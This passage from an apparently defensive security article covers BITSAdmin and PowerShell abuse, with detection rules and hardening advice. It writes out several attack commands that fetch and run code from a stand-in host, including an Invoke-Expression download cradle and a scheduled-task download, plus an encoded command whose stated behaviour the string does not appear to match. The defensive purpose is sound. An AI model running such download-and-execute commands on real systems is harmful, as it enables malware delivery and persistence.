Once this script is executed, each target machine will silently downloadlateral_payload.exefrom the attacker's server. The payload can then be executed either manually by the attacker or through another scheduled task, allowing for further exploitation and lateral movement within the network.

Identifying Suspicious Activity Involving BITSAdmin

To effectively detect suspicious activity related to BITSAdmin abuse, organizations should focus on:

- Monitoring Network Traffic: Look for unusual outbound connections initiated by bitsadmin.exe, especially those directed at known malicious IP addresses or domains.

- Auditing Job Creation Events: Regularly review logs for any unexpected creation or modification of BITS jobs. Alerts should be triggered if jobs are created by non-administrative users or during unusual hours.

- Investigating Parent Processes: Analyze process trees where bitsadmin.exe is invoked. Any unusual parent processes (like cmd.exe or other administrative tools) should raise flags.

Key Indicators of a BITSAdmin-related Threat

Key indicators that may suggest BITSAdmin abuse include:

- Unusual File Downloads: Detection of files being downloaded from suspicious or unrecognized sources via BITSAdmin.

- Creation of Jobs with Obscure Names: Jobs created with generic names that do not align with normal operational practices should be investigated.

- Presence of Unusual Network Connections: Outbound connections from machines running bitsadmin.exe to known malicious IPs should be flagged for further analysis.

Best Practices for Hardening Against BITSAdmin Abuse

To mitigate risks associated with BITSAdmin abuse:

1. Limit User Access: Restrict permissions for using BITSAdmin to trusted administrators only, minimizing the risk of misuse by lower-level users.?

2. Implement Network Controls: Modify firewall rules to restrict outbound traffic initiated by bitsadmin.exe unless it is known and trusted.

3. Enable Detailed Logging: Ensure logging is enabled for all BITS activities and regularly review these logs for anomalies.

4. Regularly Update Software: Keep all software up-to-date, including third-party applications that may interact with Windows services like BITS.

5. Conduct Regular Security Training:?Educate employees about recognizing phishing attempts and other tactics that could lead to initial compromises facilitating the use of tools like BITSAdmin.

?

C. Shift from BITSAdmin Abuse to PowerShell Exploitation

With the deprecation of BITSAdmin, organizations are increasingly utilizing PowerShell cmdlets to manage Background Intelligent Transfer Service (BITS) jobs. While this transition enhances functionality and integration, it also presents new opportunities for malicious activities. This article explores how BITSAdmin was previously abused, how PowerShell cmdlets are now exploited, and provides insights into detection and best practices for hardening systems against these threats.

Historical Context: Abuse of BITSAdmin

In one incident, BITSAdmin was invoked by?cmd.exe?to download a file from a suspicious IP address registered in Russia. The downloaded file was saved with a misleading name (1.html?saved as?1.exe), raising red flags due to its irregular behavior and the creation of unauthorized administrator accounts.

Current Landscape: PowerShell Cmdlets

With the deprecation of BITSAdmin, PowerShell has emerged as the primary tool for managing BITS jobs. While PowerShell offers enhanced capabilities for legitimate users, it has also become a target for abuse by threat actors.

How PowerShell is Abused

1. Downloading Malicious Payloads:

Attackers can use cmdlets like?Start-BitsTransfer?or?Invoke-WebRequest?to download malware directly from the internet.

Scenario: Attackers often exploit PowerShell to download malicious payloads directly from the internet. By using cmdlets likeStart-BitsTransferorInvoke-WebRequest, they can retrieve malware without raising alarms, as these commands are legitimate and commonly used for file transfers.

Sample Command for Downloading Malware

In this hypothetical scenario, an attacker uses theStart-BitsTransfercmdlet to download a malicious executable namedmalware.exefrom a remote server.

Example Command

powershell

Start-BitsTransfer -Source "https://malicious-site.com/malware.exe" -Destination "C:\malware.exe"        

Explanation of the Command

  • Start-BitsTransfer: This cmdlet initiates a Background Intelligent Transfer Service (BITS) job to download files. BITS is often allowed through firewalls, making it a stealthy method for downloading files.
  • -Source: Specifies the URL of the malicious file to be downloaded.
  • -Destination: Defines the local path where the downloaded file will be saved.

Execution and Impact

When this command is executed, malware.exe will be downloaded silently to the specified location on the compromised machine. Because BITS operates over HTTP(S) and is typically whitelisted by security systems, this method allows attackers to bypass security measures that might block direct downloads.

2. Executing Code in Memory:

PowerShell allows executing code without writing it to disk, making detection difficult. Attackers often use encoded commands or obfuscation techniques to hide their intentions.

Scenario: PowerShell provides attackers with the capability to execute code directly in memory, bypassing the need to write files to disk. This technique significantly complicates detection efforts, as traditional file-based security measures may not capture malicious activity occurring solely in memory. Attackers often employ encoded commands or obfuscation techniques to further conceal their intentions.

Sample Command for Executing Code in Memory

In this hypothetical scenario, an attacker uses an encoded PowerShell command to execute a malicious payload without saving it to disk.

Example Command

powershell

powershell -EncodedCommand "JABtAGUAcgBzAGkAbwB0AD0AIAAiAGM6XFxQYXRoXFxUb2tlblRlc3RpbmcuZXhlACIAOwBzAGUAcgB2AGUAcgBzACgAJABtAGUAcgBzAGkAbwB0ACkAOwA="        

Explanation of the Command

  • powershell -EncodedCommand: This parameter allows the execution of a base64-encoded command. The encoded string represents a PowerShell script that will be executed in memory.
  • Encoded Command: The base64 string decodes to a PowerShell command that performs malicious actions, such as downloading and executing further payloads or establishing a connection to a command-and-control (C2) server.

Execution and Impact

When this command is executed, the malicious PowerShell script runs entirely in memory, leaving no trace on disk. Because the code is not written to disk, traditional security solutions that rely on file signatures or file system monitoring may fail to detect the attack. Additionally, the use of encoding and obfuscation makes it more challenging for security analysts to identify the true nature of the command.

3. Fileless Attacks:

Many modern attacks leverage fileless malware that uses PowerShell scripts embedded in memory, bypassing file-based detection mechanisms.

Scenario: Fileless attacks have become increasingly prevalent in modern cybersecurity threats. These attacks leverage fileless malware that utilizes PowerShell scripts embedded directly in memory, circumventing traditional file-based detection mechanisms. By avoiding the creation of files on disk, attackers reduce the likelihood of being detected by conventional security solutions.

Sample Workflow for a Fileless Attack

In this hypothetical scenario, an attacker executes a PowerShell script that runs entirely in memory without creating any files on the disk.

Example Command

powershell

powershell -Command "(New-Object System.Net.WebClient).DownloadString('https://malicious-site.com/malicious.ps1') | Invoke-Expression"        

Explanation of the Command

  • powershell -Command: This parameter allows the execution of a specified command directly in PowerShell.
  • (New-Object System.Net.WebClient): Creates a new instance of the WebClient class, which is used to download data from the web.
  • .DownloadString('https://malicious-site.com/malicious.ps1 '): Downloads a PowerShell script from a remote server as a string.
  • | Invoke-Expression: Pipes the downloaded script into Invoke-Expression, which executes it in memory.

Execution and Impact

When this command is executed, the malicious PowerShell script runs entirely in memory, leaving no trace on disk. This allows attackers to perform various malicious actions—such as downloading additional malware, exfiltrating data, or establishing persistence—without triggering file-based detection mechanisms. Because no files are created on the disk, traditional antivirus and endpoint protection solutions may fail to identify the threat.

4. Lateral Movement and Persistence:

Threat actors can use PowerShell to create scheduled tasks or modify existing ones, similar to how they previously abused BITSAdmin.

Scenario: Threat actors can leverage PowerShell to create or modify scheduled tasks, similar to their previous abuses of BITSAdmin. By doing so, they can establish persistence on compromised systems and facilitate lateral movement within a network. This technique allows attackers to ensure that malicious commands or payloads are executed at specified times or under certain conditions, maintaining their foothold in the environment.

Sample Command for Creating a Scheduled Task

In this hypothetical scenario, an attacker uses PowerShell to create a scheduled task that downloads and executes a malicious payload namedmalware.exefrom a remote server.

Example Command

powershell

schtasks /create /tn "MyPowerShellJob" /tr "powershell.exe -Command Start-BitsTransfer -Source 'https://malicious-site.com/malware.exe' -Destination 'C:\malware.exe'" /sc once /st 12:00        

Explanation of the Command

  • schtasks /create: Initiates the creation of a new scheduled task.
  • /tn "MyPowerShellJob": Specifies the name of the scheduled task for identification.
  • /tr: Defines the command that the task will execute. In this case, it runs PowerShell to download malware.exe using Start-BitsTransfer.
  • /sc once: Sets the task to trigger only once.
  • /st 12:00: Specifies the time at which the task will run (in this example, at noon).

Execution and Impact

Once this scheduled task is created, it will execute at the specified time, downloadingmalware.exefrom the attacker's server and saving it toC:\malware.exe. This method allows attackers to maintain persistence on the compromised system, ensuring that their malicious payload is executed even after system reboots or user logouts. Additionally, by using PowerShell to create the task, they can blend in with legitimate administrative activities.


Key Indicators of a PowerShell-related Threat

To effectively detect suspicious activity related to PowerShell abuse, organizations should monitor for the following indicators:

  • Suspicious Cmdlets: Frequent use of cmdlets like?Invoke-WebRequest,?Start-BitsTransfer, or?-ExecutionPolicy Bypass.
  • Unusual Network Activity: Unexpected outbound connections initiated by?powershell.exe?directed at known malicious IP addresses.
  • Encoded Commands: Presence of Base64 encoded commands or obfuscated scripts in PowerShell logs.
  • Scheduled Task Manipulation: Changes in scheduled tasks that involve PowerShell execution or unusual timing patterns.

Detection Rules:

Organizations can implement various detection rules to identify potential abuse:

AQL Detection Rule:

SELECT * FROM events WHERE event_type = 'PowerShell' AND command_line LIKE '%Start-BitsTransfer%' AND user NOT IN ('SYSTEM', 'Administrator');        

XQL Detection Rule:

event where type='powershell' AND command_line contains 'Start-BitsTransfer' AND user NOT IN ('SYSTEM');        

YARA Rule:

rule Detect_Malicious_PowerShell {

    strings:

        $cmd = "Start-BitsTransfer"

    condition:

        any of them

}        

Best Practices for Hardening Against PowerShell Abuse

To mitigate risks associated with PowerShell exploitation, organizations should implement several best practices:

  1. Restrict Execution Policies: Set strict execution policies that limit script execution and enforce signing requirements for scripts.
  2. Enable Logging and Monitoring: Enable detailed logging for PowerShell activities and regularly review logs for suspicious behavior. Use tools like Windows Event Forwarding (WEF) to centralize logs.
  3. Implement Application Whitelisting: Use application control mechanisms to restrict which applications can execute PowerShell scripts.
  4. Behavioral Monitoring: Deploy endpoint detection and response (EDR) solutions that monitor for unusual behaviors associated with PowerShell usage, such as process injection or unauthorized access attempts.
  5. User Training and Awareness: Conduct regular training sessions to educate employees about the risks associated with phishing attacks and malicious scripts delivered via email.
  6. Tamper Protection: Enable tamper protection features in security solutions like Microsoft Defender to prevent unauthorized changes to security settings.


Conclusion

The exploitation of Task Scheduler through the creation of malicious tasks, coupled with the shift from BITSAdmin to PowerShell cmdlets, has significantly transformed the threat landscape. This transition not only complicates the management of BITS jobs but also amplifies the potential for exploitation by savvy threat actors.

For organizations striving to fortify their cybersecurity posture, a deep understanding of these tools' vulnerabilities is essential. By investing in comprehensive monitoring and logging practices, alongside proactive user education initiatives, organizations can create a formidable defense against these evolving threats.

Ultimately, staying one step ahead requires vigilance, adaptability, and a commitment to continuous improvement in security practices. Embracing these strategies will empower organizations to not only detect and respond to potential threats but also cultivate a resilient security culture that can withstand the challenges of an ever-changing cyber landscape.

?

Acknowledgments

This article was created in collaboration with Cyber4All . We extend our gratitude for their support and insights in bringing this important topic to light. Thank you! ??

?

?



要查看或添加评论,请登录

社区洞察

其他会员也浏览了